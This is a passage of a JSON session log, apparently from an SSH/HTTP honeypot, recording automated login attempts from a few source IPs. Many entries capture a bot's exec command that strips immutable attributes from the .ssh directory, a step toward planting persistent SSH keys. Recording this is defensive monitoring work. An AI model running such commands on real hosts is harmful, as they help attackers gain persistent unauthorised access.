  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:14:40.341165+00:00",
  "ended_at": "2026-08-26T22:14:41.446011+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "6fe7ac7a-587d-4255-ace9-fc2b75f61720",
  "name": "placid-primal-nightjar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 34044,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:14:16.533469+00:00",
  "ended_at": "2026-08-26T22:14:17.586794+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "38c8a34a-7530-4a91-a14e-d38fc6260d5e",
  "name": "noble-weathered-shrike",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 34034,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:14:14.541645+00:00",
  "ended_at": "2026-08-26T22:14:16.401488+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "82402443-6f96-469b-a4d5-294c291787b9",
  "name": "lawful-wiry-fennec",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "91.92.42.72",
  "src_port": 29778,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:13:26.978897+00:00",
  "ended_at": "2026-08-26T22:13:27.330807+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "90c527d1-48c6-4a7e-b55d-45fe617f00d2",
  "name": "twilight-salty-skua",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 52062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:12:36.684422+00:00",
  "ended_at": "2026-08-26T22:12:38.672663+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2302
 },
 {
  "id": "841f2286-2290-4c5a-a19b-5748ce96e312",
  "name": "primal-cosmic-fieldfare",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 50572,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:20.110355+00:00",
  "ended_at": "2026-08-26T22:12:33.679269+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "efdc1219-3516-48ab-a614-25ea7233f309",
  "name": "restless-zealous-magpie",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52084,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:14.601604+00:00",
  "ended_at": "2026-08-26T22:12:16.295217+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b611a7a3-43cd-491a-ba76-c63eb88aac01",
  "name": "proud-somber-anteater",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 52070,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:12:13.296733+00:00",
  "ended_at": "2026-08-26T22:12:14.469341+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a01ebf23-53e2-419a-b24c-1b9744d6ebd1",
  "name": "graceful-ivory-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 50344,
  "username": "test",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:11:50.194529+00:00",
  "ended_at": "2026-08-26T22:15:50.573940+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "45204f6a-deaa-438b-aaae-cc0cbecbcf3e",
  "name": "sturdy-foggy-blackbird",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.160.241.129",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:11:01.441078+00:00",
  "ended_at": "2026-08-26T22:26:03.210187+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "bb42f020-30f3-48f4-ba69-533aac8acef4",
  "name": "dapper-frosty-kestrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37444,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:10:41.273002+00:00",
  "ended_at": "2026-08-26T22:10:42.385536+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "b1a72d1a-0557-4c90-9bf9-729c75fd2017",
  "name": "vernal-shaded-koala",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37464,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:10:20.378540+00:00",
  "ended_at": "2026-08-26T22:10:21.636346+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b898b316-9ffb-43d9-9212-1b75509d97a5",
  "name": "brave-rapid-turnstone",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37448,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:10:18.929201+00:00",
  "ended_at": "2026-08-26T22:10:20.245889+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "54035ffa-e3d9-4a32-969b-6acbd301f7cb",
  "name": "bitter-leafy-bonobo",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 59827,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:09:13.100360+00:00",
  "ended_at": "2026-08-26T22:09:15.867693+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6d235e27-e165-46dc-8ac2-95f6bf835fed",
  "name": "sterling-craggy-gibbon",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 37062,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:08:43.418751+00:00",
  "ended_at": "2026-08-26T22:08:44.723626+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "ee9c165a-8941-4fd6-b5b2-2dbcae3a4df2",
  "name": "daring-tangled-pheasant",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "101.96.209.234",
  "src_port": 45582,
  "username": "ftpuser",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:08:34.614534+00:00",
  "ended_at": "2026-08-26T22:12:34.628411+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "54495723-f0c6-41df-aaf6-2b74082b8eb5",
  "name": "crisp-merry-vulture",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 39852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:23.671409+00:00",
  "ended_at": "2026-08-26T22:08:25.373133+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "08d33c4f-dd8e-4e23-b3ba-cf8ac0a121b5",
  "name": "tawny-vivid-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 37078,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:21.880312+00:00",
  "ended_at": "2026-08-26T22:08:23.532708+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0c8d5ecc-4faf-45c2-8f6e-66fca1e0b0c1",
  "name": "curious-gritty-barbet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "113.191.145.50",
  "src_port": 55828,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:08:08.599151+00:00",
  "ended_at": "2026-08-26T22:08:10.409757+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3b24c531-37d5-4a03-b704-e7a0bc25d543",
  "name": "loyal-hidden-porcupine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 56834,
  "username": "incoming",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:06:41.442149+00:00",
  "ended_at": "2026-08-26T22:06:42.304238+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7a61c7da-d8e9-4562-9217-5e4ae91c20b5",
  "name": "gritty-twilight-puffin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56856,
  "username": "incoming",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:06:18.248134+00:00",
  "ended_at": "2026-08-26T22:06:19.074748+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "ca9794d4-2c82-443a-a361-e5c9d7afecee",
  "name": "thawing-proud-stoat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 56850,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:06:16.590772+00:00",
  "ended_at": "2026-08-26T22:06:18.106593+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a2f77ec0-995d-4b6b-9955-7f21baf5aac5",
  "name": "frosty-candid-jerboa",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 49598,
  "username": "youssef",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:05:11.738257+00:00",
  "ended_at": "2026-08-26T22:09:12.198918+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c57d2cd2-02dc-4248-becb-7de5688deb67",
  "name": "slender-sleepy-shearwater",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55168,
  "username": "scott",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:04:41.876826+00:00",
  "ended_at": "2026-08-26T22:04:43.752675+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2256
 },
 {
  "id": "60d9c01d-c11f-41c0-85d6-06daaa6287e7",
  "name": "feathered-regal-springbok",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55192,
  "username": "scott",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:04:18.645853+00:00",
  "ended_at": "2026-08-26T22:04:19.955178+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "094b2662-649a-4f51-ae54-28e454b387c8",
  "name": "whispering-distant-wheatear",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55180,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:04:16.830875+00:00",
  "ended_at": "2026-08-26T22:04:18.510263+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e2b2f2f3-b56a-4bea-b95e-1e3ab3715e56",
  "name": "blithe-tawny-chickadee",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 60006,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:04:16.385126+00:00",
  "ended_at": "2026-08-26T22:04:33.579161+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9e0ea237-f358-4f21-9d07-7015e4e5e4d6",
  "name": "gallant-icy-stork",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45762,
  "username": "n8n",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:02:44.947266+00:00",
  "ended_at": "2026-08-26T22:02:46.144310+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2244
 },
 {
  "id": "50478f64-260a-44b6-b7c4-b8eacd2d0806",
  "name": "sterling-crisp-curlew",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 47580,
  "username": "n8n",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:02:23.132418+00:00",
  "ended_at": "2026-08-26T22:02:23.646622+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9efcfa57-97a7-4e18-8637-516e85d49879",
  "name": "bold-jolly-crossbill",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45778,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:02:21.335670+00:00",
  "ended_at": "2026-08-26T22:02:22.981589+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "740ffb60-ebd7-4e87-9a14-48613c358b95",
  "name": "regal-cunning-skua",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 38430,
  "username": "petr",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:01:53.517925+00:00",
  "ended_at": "2026-08-26T22:05:53.988951+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d8a282ca-58a9-47b7-abdd-d3250b598057",
  "name": "honest-ancient-cormorant",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 50119,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:01:23.443892+00:00",
  "ended_at": "2026-08-26T22:01:50.432814+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "5c3a7c5e-09ab-45fb-96f1-72a11c840af0",
  "name": "lively-diligent-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 50540,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T22:00:42.826853+00:00",
  "ended_at": "2026-08-26T22:00:44.379794+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "74eca659-8e4f-4deb-8bcf-4ed4973727cc",
  "name": "primal-pewter-okapi",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50566,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:00:23.713800+00:00",
  "ended_at": "2026-08-26T22:00:24.479875+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2bbd8cc8-d9d6-4842-a8b8-cb3db2b273eb",
  "name": "nautical-early-owl",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 50554,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T22:00:22.657355+00:00",
  "ended_at": "2026-08-26T22:00:23.549522+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "497be21b-7be1-47e8-bbc7-464eedc2053d",
  "name": "gnarled-upland-gerbil",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 38984,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:58:49.387001+00:00",
  "ended_at": "2026-08-26T21:58:50.374846+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2257
 },
 {
  "id": "2de686c2-4ba6-44e2-9864-9a88fbd3dc2f",
  "name": "painted-hollow-rook",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 38992,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:58:26.633252+00:00",
  "ended_at": "2026-08-26T21:58:27.930598+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "50a46f0e-efe6-4461-8890-0f9184322f20",
  "name": "faded-gritty-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 38990,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:58:25.387925+00:00",
  "ended_at": "2026-08-26T21:58:26.497965+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "11aa2cbd-fe21-46e3-b0d6-344145a643ec",
  "name": "marine-tranquil-walrus",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 55188,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:56:44.073129+00:00",
  "ended_at": "2026-08-26T21:56:45.527588+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2243
 },
 {
  "id": "00dc2d63-40c1-4a84-bd05-61eab1b9c0ea",
  "name": "alpine-freckled-adder",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 60294,
  "username": "admin",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:32.323676+00:00",
  "ended_at": "2026-08-26T21:56:33.662817+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8a3e7b73-43a3-4afe-9669-aa441dce648f",
  "name": "keen-brave-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 55190,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:31.098442+00:00",
  "ended_at": "2026-08-26T21:56:32.193461+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a4014244-70c8-4856-80ef-ca07aa29dafc",
  "name": "gritty-plucky-whimbrel",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "101.96.209.234",
  "src_port": 36196,
  "username": "test_user",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:56:00.553273+00:00",
  "ended_at": "2026-08-26T22:00:00.822258+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "910bee72-8600-4d52-af3a-d73a00585467",
  "name": "coral-lively-dormouse",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 40922,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 70,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:54:51.098099+00:00",
  "ended_at": "2026-08-26T21:54:51.967026+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2282
 },
 {
  "id": "0498749f-c4b4-4fe3-9cc2-28feee0faf60",
  "name": "stoic-mighty-cardinal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40936,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:54:35.747603+00:00",
  "ended_at": "2026-08-26T21:54:37.172797+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fa592d1-d39e-4074-bdc9-50780532a170",
  "name": "knotted-lively-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 40930,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:54:34.094253+00:00",
  "ended_at": "2026-08-26T21:54:35.614556+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dc56c274-7f9e-42de-a185-441ab6ed2f79",
  "name": "wiry-merry-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 43208,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 73,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:52:53.047241+00:00",
  "ended_at": "2026-08-26T21:52:54.392693+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2220
 },
 {
  "id": "450af1c2-1b6c-4409-8272-1b8c8ae87201",
  "name": "wooded-western-bowerbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 43224,
  "username": "it",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:52:34.925324+00:00",
  "ended_at": "2026-08-26T21:52:36.320121+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "afaa0766-a535-4585-9ac4-c747c9a1ffab",
  "name": "indigo-lucid-bison",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 43222,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:52:33.132905+00:00",
  "ended_at": "2026-08-26T21:52:34.789261+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e0a23090-474a-4bcc-b4e2-c83a6a258114",
  "name": "dewy-faded-nightjar",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "129.121.114.225",
  "src_port": 45852,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 68,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T21:50:48.908832+00:00",
  "ended_at": "2026-08-26T21:50:50.825332+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2260
 },
 {
  "id": "f955c151-5395-4a68-9b6f-acc9a7fefb86",
  "name": "mossy-gleaming-teal",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "129.121.114.225",
  "src_port": 45856,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T21:50:37.577925+00:00",
